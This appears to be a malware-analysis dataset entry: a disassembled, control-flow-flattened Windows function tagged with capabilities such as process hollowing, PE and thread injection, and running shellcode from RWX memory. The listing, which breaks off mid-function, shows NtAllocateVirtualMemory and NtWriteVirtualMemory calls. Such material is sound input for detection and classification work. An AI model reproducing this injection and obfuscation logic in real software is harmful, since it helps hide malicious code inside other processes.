Function at 0x100078b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x16c
mov eax, dword [0x1006a204]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x76851acf
sub edx, 1
sub edx, 0x76851acf
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x16e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x16d], al
mov dword [ebp - 0x174], 0x1570ac13
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x178], eax
sub eax, 0x81e6b256
je 0x1000cb11
jmp 0x1000792b
mov eax, dword [ebp - 0x178]
sub eax, 0x82a31299
je 0x1000cb02
jmp 0x10007941
mov eax, dword [ebp - 0x178]
sub eax, 0x82ae163e
je 0x1000d848
jmp 0x10007957
mov eax, dword [ebp - 0x178]
sub eax, 0x84248e6c
je 0x1000e865
jmp 0x1000796d
mov eax, dword [ebp - 0x178]
sub eax, 0x850bcbec
je 0x1000a108
jmp 0x10007983
mov eax, dword [ebp - 0x178]
sub eax, 0x859541d1
je 0x1000df65
jmp 0x10007999
mov eax, dword [ebp - 0x178]
sub eax, 0x8606c31e
je 0x1000ace2
jmp 0x100079af
mov eax, dword [ebp - 0x178]
sub eax, 0x86a4838b
je 0x10009852
jmp 0x100079c5
mov eax, dword [ebp - 0x178]
sub eax, 0x87a26a92
je 0x10009a58
jmp 0x100079db
mov eax, dword [ebp - 0x178]
sub eax, 0x87c9c054
je 0x1000deb4
jmp 0x100079f1
mov eax, dword [ebp - 0x178]
sub eax, 0x8973b1dd
je 0x1000b9ef
jmp 0x10007a07
mov eax, dword [ebp - 0x178]
sub eax, 0x8a323505
je 0x1000bb52
jmp 0x10007a1d
mov eax, dword [ebp - 0x178]
sub eax, 0x8ae63683
je 0x1000c063
jmp 0x10007a33
mov eax, dword [ebp - 0x178]
sub eax, 0x8b18060b
je 0x1000a006
jmp 0x10007a49
mov eax, dword [ebp - 0x178]
sub eax, 0x8bcd7b70
je 0x1000d833
jmp 0x10007a5f
mov eax, dword [ebp - 0x178]
sub eax, 0x8daea084
je 0x1000e832
jmp 0x10007a75
mov eax, dword [ebp - 0x178]
sub eax, 0x8dbe773c
je 0x1000e7e3
jmp 0x10007a8b
mov eax, dword [ebp - 0x178]
sub eax, 0x8e8f9422
je 0x1000e468
jmp 0x10007aa1
mov eax, dword [ebp - 0x178]
sub eax, 0x91031cd8
je 0x100096d1
jmp 0x10007ab7
mov eax, dword [ebp - 0x178]
sub eax, 0x91507500
je 0x1000e258
jmp 0x10007acd
mov eax, dword [ebp - 0x178]
sub eax, 0x917194b6
je 0x10009831
jmp 0x10007ae3
mov eax, dword [ebp - 0x178]
sub eax, 0x9436248e
je 0x1000e747
jmp 0x10007af9
mov eax, dword [ebp - 0x178]
sub eax, 0x9474bcae
je 0x1000b712
jmp 0x10007b0f
mov eax, dword [ebp - 0x178]
sub eax, 0x94f8a565
je 0x1000dfc2
jmp 0x10007b25
mov eax, dword [ebp - 0x178]
sub eax, 0x95814737
je 0x1000dbf5
jmp 0x10007b3b
mov eax, dword [ebp - 0x178]
sub eax, 0x969064a4
je 0x1000d5b2
jmp 0x10007b51
mov eax, dword [ebp - 0x178]
sub eax, 0x96e1fa46
je 0x1000e276
jmp 0x10007b67
mov eax, dword [ebp - 0x178]
sub eax, 0x97138dc0
je 0x1000c727
jmp 0x10007b7d
mov eax, dword [ebp - 0x178]
sub eax, 0x98214ddb
je 0x1000d8d9
jmp 0x10007b93
mov eax, dword [ebp - 0x178]
sub eax, 0x98b91e02
je 0x1000cdf6
jmp 0x10007ba9
mov eax, dword [ebp - 0x178]
sub eax, 0x996c1af3
je 0x1000a359
jmp 0x10007bbf
mov eax, dword [ebp - 0x178]
sub eax, 0x998213ee
je 0x1000e267
jmp 0x10007bd5
mov eax, dword [ebp - 0x178]
sub eax, 0x9a55d37f
je 0x1000b54d
jmp 0x10007beb
mov eax, dword [ebp - 0x178]
sub eax, 0x9ac3688c
je 0x1000d449
jmp 0x10007c01
mov eax, dword [ebp - 0x178]
sub eax, 0x9b013e4a
je 0x1000a2b3
jmp 0x10007c17
mov eax, dword [ebp - 0x178]
sub eax, 0x9b3d6aca
je 0x1000b8b4
jmp 0x10007c2d
mov eax, dword [ebp - 0x178]
sub eax, 0x9cb09dfd
je 0x1000d812
jmp 0x10007c43
mov eax, dword [ebp - 0x178]
sub eax, 0x9ec031d2
je 0x1000df56
jmp 0x10007c59
mov eax, dword [ebp - 0x178]
sub eax, 0x9fdc2191
je 0x1000e2a8
jmp 0x10007c6f
mov eax, dword [ebp - 0x178]
sub eax, 0xa0c3aa6f
je 0x1000dba4
jmp 0x10007c85
mov eax, dword [ebp - 0x178]
sub eax, 0xa0ef9d9c
je 0x1000cbba
jmp 0x10007c9b
mov eax, dword [ebp - 0x178]
sub eax, 0xa3f0c7f9
je 0x1000a902
jmp 0x10007cb1
mov eax, dword [ebp - 0x178]
sub eax, 0xa408d744
je 0x1000a484
jmp 0x10007cc7
mov eax, dword [ebp - 0x178]
sub eax, 0xa4309487
je 0x1000d143
jmp 0x10007cdd
mov eax, dword [ebp - 0x178]
sub eax, 0xa501e07e
je 0x1000cd1c
jmp 0x10007cf3
mov eax, dword [ebp - 0x178]
sub eax, 0xa54450b0
je 0x1000e63d
jmp 0x10007d09
mov eax, dword [ebp - 0x178]
sub eax, 0xa55cc219
je 0x100098d1
jmp 0x10007d1f
mov eax, dword [ebp - 0x178]
sub eax, 0xa5a6fd7d
je 0x1000beed
jmp 0x10007d35
mov eax, dword [ebp - 0x178]
sub eax, 0xa5d40180
je 0x1000bb43
jmp 0x10007d4b
mov eax, dword [ebp - 0x178]
sub eax, 0xa6a9c167
je 0x10009a1c
jmp 0x10007d61
mov eax, dword [ebp - 0x178]
sub eax, 0xa718839a
je 0x1000ba65
jmp 0x10007d77
mov eax, dword [ebp - 0x178]
sub eax, 0xa7abfb06
je 0x10009e82
jmp 0x10007d8d
mov eax, dword [ebp - 0x178]
sub eax, 0xaac0b78d
je 0x1000e780
jmp 0x10007da3
mov eax, dword [ebp - 0x178]
sub eax, 0xab429cf5
je 0x1000b3f8
jmp 0x10007db9
mov eax, dword [ebp - 0x178]
sub eax, 0xab5c8bd2
je 0x1000c569
jmp 0x10007dcf
mov eax, dword [ebp - 0x178]
sub eax, 0xabd071f6
je 0x1000b127
jmp 0x10007de5
mov eax, dword [ebp - 0x178]
sub eax, 0xaca38fee
je 0x1000c8ec
jmp 0x10007dfb
mov eax, dword [ebp - 0x178]
sub eax, 0xaca67719
je 0x1000c79d
jmp 0x10007e11
mov eax, dword [ebp - 0x178]
sub eax, 0xada54b61
je 0x1000e874
jmp 0x10007e27
mov eax, dword [ebp - 0x178]
sub eax, 0xadaeceb4
je 0x10009bd5
jmp 0x10007e3d
mov eax, dword [ebp - 0x178]
sub eax, 0xae0b7111
je 0x1000b19d
jmp 0x10007e53
mov eax, dword [ebp - 0x178]
sub eax, 0xb04b12fa
je 0x1000cde7
jmp 0x10007e69
mov eax, dword [ebp - 0x178]
sub eax, 0xb04f8674
je 0x1000e6f5
jmp 0x10007e7f
mov eax, dword [ebp - 0x178]
sub eax, 0xb18c77ab
je 0x1000c94c
jmp 0x10007e95
mov eax, dword [ebp - 0x178]
sub eax, 0xb1d48263
je 0x1000e61f
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x3e39ac1b
sub edx, 1
sub edx, 0x3e39ac1b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb3c13bdc
mov ecx, 0xe8607b26
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dl, byte [ebp - 0xf1]
mov eax, 0xdbac8ec0
mov ecx, 0x86a4838b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [ebp - 0x16c]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x168]
mov eax, dword [eax]
add eax, 0x3c
mov dword [ebp - 0xec], eax
mov dword [ebp - 0x174], 0xbfd55d14
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x81eb2770
sub edx, 1
sub edx, 0x81eb2770
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2e7e60f9
mov ecx, 0xcf9158e0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xba8409c0
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xc34f95cb
sub edx, 1
add edx, 0xc34f95cb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x286344b0
mov ecx, 0x556f581a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xd039064b
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x6c01db95
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0xc386a675
sub edx, 1
add edx, 0xc386a675
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6a7ecbe4
mov ecx, 0xb7654d8c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x3ee23460
jmp 0x1000eafe
mov eax, dword [ebp - 0xc4]
mov ecx, dword [eax + 0x2c]
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov eax, dword [ebp - 0x15c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x13c]
mov eax, 0x5d2e9246
mov ecx, 0xce9071f
cmp dword [edx], 0
cmovge eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x1e383b4e
sub edx, 1
sub edx, 0x1e383b4e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e8f9422
mov ecx, 0xf7961f71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xce9071f
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0a98288
mov ecx, 0x359229f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0xcc5a3f14
sub edx, 1
sub edx, 0xcc5a3f14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb1d48263
mov ecx, 0xf3f8e59e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0xca77144d
sub edx, 1
sub edx, 0xca77144d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa54450b0
mov ecx, 0xae0b7111
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x124]
mov edx, dword [ecx]
xor ecx, ecx
sub ecx, edx
sub eax, ecx
mov dword [ebp - 0x80], eax
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x9c5873f0
sub edx, 1
sub edx, 0x9c5873f0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa54450b0
mov ecx, 0xe5a64a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x74bd4832
sub edx, 1
sub edx, 0x74bd4832
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x12291ea4
mov ecx, 0x7eb8e027
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x377035d2
mov ecx, 0xd2fdc571
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xd39bd94c
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x7388ff06
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0x6a709b77
sub edx, 1
add edx, 0x6a709b77
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1fbaf797
mov ecx, 0xa718839a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x5c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0x1b869aaa
sub edx, 1
add edx, 0x1b869aaa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1fbaf797
mov ecx, 0x618eb180
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x8a323505
jmp 0x1000eafe
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x174], 0x158959de
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x43f188e7
sub edx, 1
sub edx, 0x43f188e7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc1c59677
mov ecx, 0xfca63264
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x4355368b
sub edx, 1
sub edx, 0x4355368b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9436248e
mov ecx, 0x67ad5d71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x61b78230
sub edx, 1
sub edx, 0x61b78230
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaac0b78d
mov ecx, 0xcbf04961
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0x4f2f3152
sub edx, 1
add edx, 0x4f2f3152
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd0bd40bb
mov ecx, 0xaca67719
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd0bd40bb
mov ecx, 0x424709dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x8a323505
jmp 0x1000eafe
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x130]
mov ecx, dword [ecx]
mov edx, dword [ecx + 4]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, edx
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x34], eax
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0xf9119e0
sub edx, 1
add edx, 0xf9119e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x43831739
mov ecx, 0xe1ce95f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x81e6b256
jmp 0x1000eafe
mov eax, dword [ebp - 0x148]
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x164]
mov edx, dword [eax]
mov eax, 0x42bdb9eb
mov ecx, 0xf0dff5ba
cmp dword [edx + 0xc4], 0
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
add edx, 0x9996183
sub edx, 1
sub edx, 0x9996183
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd6561c65
mov ecx, 0x16c5e6d4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0xcd60c69f
sub edx, 1
sub edx, 0xcd60c69f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb7cdd26d
mov ecx, 0x4a2512f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x98b91e02
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0x72ea11f8
sub edx, 1
add edx, 0x72ea11f8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76cc7941
mov ecx, 0x169f4cb7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xecaf7aed
jmp 0x1000eafe
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0x104a8e20
sub edx, 1
add edx, 0x104a8e20
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x998213ee
mov ecx, 0xe3692123
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x2f79b167
sub edx, 1
sub edx, 0x2f79b167
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x61ad4c53
mov ecx, 0x1b6fc273
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xdbac8ec0
jmp 0x1000eafe
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x174], 0xa55cc219
jmp 0x1000eafe
mov ecx, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x164]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], 0x465e04e0
jmp 0x1000eafe
mov eax, dword [ebp - 0x164]
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
sub edx, 0x9e0a0922
sub edx, 1
add edx, 0x9e0a0922
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xada54b61
mov ecx, 0x6c73597a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov eax, dword [0x1006b488]
mov ecx, dword [0x1006b484]
mov edx, eax
add edx, 0x6fec7132
sub edx, 1
sub edx, 0x6fec7132
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc62deffe
mov ecx, 0x95814737
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xb8a0bd78
jmp 0x1000eafe
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10c]
mov ecx, dword [ecx]
sub ecx, 0x31349e07
add ecx, eax
add ecx, 0x31349e07
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov ecx, dword [0x1006b488]
mov eax, dword [0x1006b484]
mov edx, ecx
sub edx, 0xf07217b7
sub edx, 1
add edx, 0xf07217b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1302ea06
mov ecx, 0x9ec031d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x174], eax
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x70f8a52c
jmp 0x1000eafe
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x38]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x114]
mov dword [eax], ecx
mov dword [ebp - 0x174], 0xcd13c63a
jmp 0x1000eafe
mov eax, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], 0xa0ef9d9c
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x557997b6
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xe3692123
jmp 0x1000eafe
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x174], 0x63076aa5
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x3a0381b8
jmp 0x1000eafe
mov ecx, dword [ebp - 0x148]
mov eax, dword [ebp - 0x144]
mov edx, dword [ebp - 0xc0]
xor esi, esi
